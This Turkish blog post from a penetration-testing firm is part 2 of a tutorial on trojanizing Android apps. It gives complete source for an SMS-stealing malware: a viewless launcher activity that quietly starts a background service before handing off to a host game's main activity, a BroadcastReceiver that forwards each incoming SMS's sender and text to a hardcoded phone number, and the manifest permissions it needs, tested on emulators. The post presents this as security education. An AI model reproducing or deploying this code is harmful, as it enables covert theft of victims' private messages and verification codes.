05 Eylül 2015

Android Uygulamalara Malware Yerleştirme - Bölüm 2

Android uygulamalara malware yerleştirme makalemize bir önceki bölümde kaldığımız yerden devam ediyoruz.

Bu bölümde ilk olarak BtriskSMSHacker isimli bir Android projesi geliştireceğiz. BTRİSK adını biraz fazla vurguladığım için kusura bakmayın, makalelerimizi kopyalayan meczuplar çıkmaya başladığı için bunu yapmak zorundayım. Bu paragrafı çıkarsalar bile ekran görüntülerinden temizleyemeyecekler :)


Btrisk Android Uygulamalara Malware Yerleştirme

Herhangi bir aktivite içermeyecek biçimde projemizi açıyoruz.

Btrisk Android Uygulamalara Malware Yerleştirme

Uygulamamız bir Activity ve bir de Service’ten oluşacak. Temel stratejimiz son derece basit; uygulamamızın tek aktivitesi ilk çalışacak aktivite olacak, bu aktivite kendi içinde servisi tetikleyecek, son olarak da zararlıyı içine gömeceğimiz uygulamanın orijinal ilk aktivitesini başlatarak aktivitemizi sonlandıracağız.

Bunun için ilk olarak projemize bir aktivite ekleyelim, ve tabi adı BtriskActivity olsun :)

Btrisk Android Uygulamalara Malware Yerleştirme

Btrisk Android Uygulamalara Malware Yerleştirme

Öntanımlı olarak aşağıdaki metodları da barındıran bir aktivite bizim için oluşturuluyor.

Btrisk Android Uygulamalara Malware Yerleştirme

Ancak bizim onCreate dışındaki metodlara ihtiyacımız yok, diğer metodları temizleyerek onCreate metodumuzu aşağıdaki gibi düzenliyoruz:

Btrisk Android Uygulamalara Malware Yerleştirme


@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent intent = new Intent(this, BtriskService.class);
    startService(intent);

    // BTRISK - BURADA UYGULAMA AKISI ZARARLIYI TASIYICI UYGULAMAYA GECIYOR 
    Intent intent2 = new Intent(getApplicationContext(), com.digiplex.game.MainActivity.class);
    startActivity(intent2);
}

Yukarıdaki kodda dikkate değer noktalar şunlar:

  • Öncelikle öntanımlı koddaki “setContentView(R.layout.activity_main);” kodunu kaldırdık, çünkü aktivitemizin bir view görüntülemesini istemiyoruz. Tam tersine taşıyıcı uygulamamızda bir farklılık oluşturabilecek bu durumdan kaçınıyoruz.
  • Daha sonra bir intent nesnesi oluşturuyoruz. Bu intent üzerinden bir servis başlatıyoruz (servisimizi henüz tanımlamadık). Intent üzerinden çağırdığımız herhangi bir interface’e parametre aktarma imkanımız var, ancak böyle bir ihtiyacımız olmadığı için herhangi bir parametre yüklemiyoruz. Servisimizde biraz sonra yapacağımız geliştirme ile cihaza gelen SMS mesajlarına duyarlı bir kod tanımlayacağız. Asıl işi de bu servis yapacak
  • Son adımda taşıyıcı uygulamamızın bir aktivitesini başlatıyoruz. Burada 2 soruyu cevaplamamız lazım; birincisi bu aktivitenin adını nereden bulduk, ikincisi ise bu sınıfı projemize nasıl dahil edeceğiz. Birinci sorunun cevabı daha önce Apktool ile decompile ettiğimiz APK dosyasının içinde bulunan AndroidManifest.xml dosyasının içinde:

Btrisk Android Uygulamalara Malware Yerleştirme

Taranmış bölümde gördüğünüz intent-filter içindeki iki satırlık tanım işletim sistemine bu uygulamayı yüklerken ilk çalıştıracağı sınıfın MainActivity sınıfı olması gerektiğini söylüyor. Burada yanılmayın, MainActivity isminin hiçbir önemi yok, önemli olan android.intent.action.MAIN action tanımı ve android.intent.category.LAUNCHER category tanımıdır.

İkinci sorunun yanıt ise basit, projemize içi boş bir sınıf tanımlayacağız ve adını da taşıyıcı uygulamanın ilk aktivitesinin adı olarak vereceğiz. Bunun sonucunda üretilen smali kodu bizim işimizi görecek, çünkü daha önceki smali örneğimizden de hatırlayabileceğiniz gibi smali kodu içinde herhangi bir fonksiyon adresi yok. Yani zaten sanal makine bu kodu çalışma anında değerlendirecek ve makine diline çevirirken fonksiyon adresini bulacak. Oysa makine diline derlenmiş kodlarda böyle bir imkanımız yoktu. O yüzden virüs yazmak (tabi bizim anladığımız anlamda) çok çok daha zahmetli.

Btrisk Android Uygulamalara Malware Yerleştirme

Tanımladığımız MainActivity sınıfının Activity sınıfının alt sınıfı olduğunu belirtmemiz yeterli:

Btrisk Android Uygulamalara Malware Yerleştirme

Şimdi servisimizi tanımlayabiliriz. Servisimizin adı BtriskService olacak. Servis kullanmamızın sebebi şu; taşınabilir cihazların en büyük problemi enerji. Bu yüzden platform geliştiricileri mümkün olduğunca enerji tüketimini kısmaya çalışıyorlar. Sizi bir akıllı telefonda çalışan bir uygulamayı aktif pencere olmaktan çıkardığınızda uygulama işleyişi duruyor (örneğin youtube’da müzik dinlerken epostalarınıza bakamazsınız). Ancak service interface’i bu engeli aşıyor, yani aktivite view’ı arka plana atılsa da çalışmaya devam ediyor.

Btrisk Android Uygulamalara Malware Yerleştirme

Btrisk Android Uygulamalara Malware Yerleştirme

Btrisk Android Uygulamalara Malware Yerleştirme

Daha sonra öntanımlı servis kodunu aşağıdaki gibi düzenliyoruz:

Btrisk Android Uygulamalara Malware Yerleştirme

Btrisk Android Uygulamalara Malware Yerleştirme


public class BtriskService extends Service {
    public BtriskService() {
    }

    private static final String ACTION="android.provider.Telephony.SMS_RECEIVED";
    private BroadcastReceiver btriskReceiver;
    final SmsManager sms = SmsManager.getDefault();
    final SmsManager sms2 = SmsManager.getDefault();

    @Override
    public void onCreate() {
        super.onCreate();
        final IntentFilter theFilter = new IntentFilter();
        theFilter.addAction(ACTION);
        this.btriskReceiver = new BroadcastReceiver() {

            @Override
            public void onReceive(Context context, Intent intent) {
                final Bundle bundle = intent.getExtras();
                final Object[] pdusObj = (Object[]) bundle.get("pdus");

                for (int i = 0; i < pdusObj.length; i++) {

                    SmsMessage mesaj = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
                    String gonderenTelefon = mesaj.getDisplayOriginatingAddress();

                    String calinanMesaj = gonderenTelefon.concat(" : ");
                    calinanMesaj += mesaj.getDisplayMessageBody();

                    sms2.sendTextMessage("+905001234567", null, calinanMesaj, null, null);
                }
            }
        };
        this.registerReceiver(this.btriskReceiver, theFilter);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        this.unregisterReceiver(this.btriskReceiver);
    }

    @Override
    public IBinder onBind(Intent arg0) {
        return null;
    }
}

Burada da onCreate metodunda gerekli işlemleri tanımlıyoruz.

Kabaca anlatmak gerekirse; bir BroadcastReceiver’ı programatik olarak tanımlıyoruz (BroadcastReceiver’da Activity veya Service gibi AndroidManifest.xml dosyasında ve kendi kaynak dosyasında tanımlanabilir).

BroadcastReceiver’ın onReceive metodunda da receiver’ın aldığı intent içinde bulunan verilerin SMS alınmasıyla ilgili olduğu varsayımıyla mesaj nesnesini ve bu nesne içinde bulunan gönderen telefon numarası bilgisini alıyoruz.

Son olarak sızdıracağımız bilgiyi mesajı gönderen telefon numarası ve mesaj içeriğini birleştirerek oluşturuyoruz ve SMS mesajını harcoded olararak yazdığımız telefon numarasına gönderiyoruz.

Bu kadarla işimiz bitti mi? Maalesef hayır, son olarak AndroidManifest.xml dosyasına uygulamanın ihtiyaç duyacağı izinleri eklememiz lazım.

Btrisk Android Uygulamalara Malware Yerleştirme

AndroidManifest.xml dosyamızın içinde yaptığımız eklemeler otomatik olarak oluşturulmuş, yani oluşturduğumuz aktivite ve servis burada görülüyor. Test amacıyla aktivitemizin başlangıç aktivitesi olduğunu da manuel olarak tanımlamamız lazım.

Ayrıca derleme işleminin gerçekleşmesi (daha doğrusu runtime hatası almamak) amacıyla taşıyıcı uygulama için eklediğimiz stub tarzı sınıfı da activity olarak buraya tanımlıyoruz.

İhtiyaç duyduğumuz iki izin ise SMS_RECEIVE ve SEND_SMS izinleri.

Btrisk Android Uygulamalara Malware Yerleştirme


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.btrisk.btrisksmshacker" >
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS" />
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".BtriskActivity"
            android:label="@string/title_activity_btrisk" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service
            android:name=".BtriskService"
            android:enabled="true"
            android:exported="true" >
        </service>
        <activity
            android:name="com.digiplex.game.MainActivity"
            android:label="@string/app_name" >
        </activity>
    </application>
</manifest>

Artık uygulamamızı test etmeye hazırız.

Ancak bundan önce ufak bir değişiklik yapacağım. Testimizi emulator ortamında yapacağımız için iki adet emulator tanımladım. Bunları başlattığımda birisine erişim 5554 portundan diğerine ise 5556 portundan sağlandı (evet aynı anda 2 emulator çalıştırmak makinemi çökertti). Uygulamayı 5554 portundan erişilebilen cihaza kuracağım. SMS mesajının ise 5556 portundan erişilebilen cihaza gönderilmesini istiyorum. Bunun için telefon numarasını bu port numarası ile değiştireceğim.

Btrisk Android Uygulamalara Malware Yerleştirme

Şimdi Android-Studio’nun Run tuşuna basarak uygulamayı yükleyeceğim emulator’ü seçeceğim.

Btrisk Android Uygulamalara Malware Yerleştirme

Uygulama emulator’e yüklendiğinde bomboş bir ekran bizi karşılıyor. Bu normal çünkü başlangıç aktivitemizden herhangi bir view’ı çağırmıyoruz.

Btrisk Android Uygulamalara Malware Yerleştirme

Servis tanımlamamızın nedenini uygulama arka plana atılsa dahi kodumuzun çalışması olarak açıklamıştık. Testimizi bu yüzden home tuşuna basarak uygulamayı arka plana atarak gerçekleştirelim.

Btrisk Android Uygulamalara Malware Yerleştirme

Emulator’e 2 şekilde SMS atabiliriz; birincisi 5554 portuna bağlanarak “sms send +905551112233 Merhaba” gibi bir komutla, ikincisi de Android Device Monitor aracını kullanarak. Teknolojik gerçeklikten uzaklaşmamak için gerek yoksa araç kullanmıyoruz (daha doğrusu daha temel araçları kullanıyoruz), o yüzden komut satırı ile işlemimizi gerçekleştirelim.

Btrisk Android Uygulamalara Malware Yerleştirme

Btrisk Android Uygulamalara Malware Yerleştirme

5554 portundan erişilen emulator’ümüze mesaj geldi.

Btrisk Android Uygulamalara Malware Yerleştirme

Ayrıca bir de gönderilen mesaj oluştu (bu durum gerçek cihazlarda gerçekleşmiyor, yani gönderilen SMS mesajı gönderilenler arasında görülmüyor).

Btrisk Android Uygulamalara Malware Yerleştirme

Şimdi bir de diğer cihazımıza bakalım.

Görüldüğü gibi bu cihaza da mesaj gelmiş.

Btrisk Android Uygulamalara Malware Yerleştirme

Android uygulamalara malware yerleştirme makalemizin bir sonraki bölümünde görüşmek üzere. Bir sonraki makalemizde malware kodumuzu normal Android uygulamasına yerleştireceğiz.

<<Önceki Bölüm                                                                                                      Sonraki Bölüm>>
BTRİSK Bilgi Güvenliği ve BT Yönetişim Hizmetleri şirketi personeli tarafından geliştirilen Pentest (Sızma Testi), ISO27001, BT Denetimi ve bilgi güvenliği hakkında herşeyi bulabileceğiniz blog'dur.